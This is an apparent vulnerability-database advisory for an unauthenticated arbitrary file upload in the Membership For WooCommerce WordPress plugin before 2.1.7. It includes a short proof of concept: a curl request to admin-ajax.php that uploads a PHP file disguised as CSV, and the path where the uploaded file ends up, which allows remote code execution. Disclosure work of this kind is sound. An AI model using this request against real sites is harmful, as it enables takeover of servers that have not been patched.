Lucene search

K
wpexploitCydaveWPEX-ID:80407AC4-8CE3-4DF7-9C41-007B69045C40
HistoryJan 04, 2023 - 12:00 a.m.

Membership For WooCommerce < 2.1.7 - Unauthenticated Arbitrary File Upload

2023-01-0400:00:00
cydave
266
woocommerce
security vulnerability
file upload
unauthenticated
exploit
information disclosure

EPSS

0.05

Percentile

93.0%

The plugin does not validate uploaded files, which could allow unauthenticated users to upload arbitrary files, such as malicious PHP code, and achieve RCE.

1. Install and activate WooCommerce (dependency, no setup required) 

2. Create a local file containing the payload on /tmp/payload.php 

3. Execute the following curl command:
 
curl -i 'https://example.com/wp-admin/admin-ajax.php?action=wps_membership_csv_file_upload' -F 'file=@/tmp/payload.php;type=text/csv'
 
4. The uploaded file will be available at wp-content/uploads/mfw-activity-logger/csv-uploads .

EPSS

0.05

Percentile

93.0%

Related for WPEX-ID:80407AC4-8CE3-4DF7-9C41-007B69045C40